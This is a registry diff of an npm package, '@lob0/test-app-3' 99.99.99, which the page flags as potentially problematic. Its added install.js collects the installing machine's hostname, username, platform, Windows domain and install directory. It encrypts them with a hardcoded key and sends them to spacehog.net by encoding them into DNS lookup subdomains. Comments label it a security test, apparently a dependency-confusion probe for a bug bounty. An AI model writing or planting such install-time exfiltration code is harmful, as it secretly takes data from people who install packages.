@lob0/test-app-3 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @lob0/test-app-3 might be problematic. Click here for more details.
- package/index.js +3 -0
- package/install.js +60 -0
- package/package.json +12 -0
package/index.js
ADDED
package/install.js
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
// - H1/lob0 -
|
|
2
|
+
// sec test only
|
|
3
|
+
|
|
4
|
+
var os = require('os')
|
|
5
|
+
var crypto = require('crypto');
|
|
6
|
+
var dns = require('dns');
|
|
7
|
+
const execSync = require('child_process').execSync;
|
|
8
|
+
|
|
9
|
+
function myChunker(string,chunk_size) {
|
|
10
|
+
var b = [];
|
|
11
|
+
newstring = '';
|
|
12
|
+
char_count = 0
|
|
13
|
+
|
|
14
|
+
for(var i=0; i < string.length; i+=1){
|
|
15
|
+
char_count+=1;
|
|
16
|
+
if (char_count < chunk_size) {
|
|
17
|
+
newstring+= string[i];
|
|
18
|
+
}
|
|
19
|
+
else {
|
|
20
|
+
b.push(newstring);
|
|
21
|
+
newstring = string[i];
|
|
22
|
+
char_count = 0;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
if (b.length > 0 && b.length < 3) {
|
|
26
|
+
return_string = b.toString().replace(",",".");
|
|
27
|
+
return_string += "." + newstring;
|
|
28
|
+
return return_string;
|
|
29
|
+
}
|
|
30
|
+
else {
|
|
31
|
+
return newstring;
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
let domain = 'spacehog.net'
|
|
36
|
+
let super_secret_password = 'H1-security-test-october-2022'
|
|
37
|
+
let userinfo = os.userInfo()
|
|
38
|
+
let info = ""
|
|
39
|
+
|
|
40
|
+
if (os.platform().includes("win")) {
|
|
41
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
|
42
|
+
domain_info = domain_info.replace(/[\n\r]/g, '').replace("Domain","");
|
|
43
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),domain_info)
|
|
44
|
+
}
|
|
45
|
+
else {
|
|
46
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform())
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
|
51
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
|
52
|
+
update+= super_secret_key.final('hex');
|
|
53
|
+
subdomain_split = myChunker(update,63)
|
|
54
|
+
var callback = dns.lookup(subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
|
55
|
+
|
|
56
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
|
57
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
|
58
|
+
update+= super_secret_key.final('hex');
|
|
59
|
+
subdomain_split = myChunker(update,63)
|
|
60
|
+
var callback = dns.lookup(subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|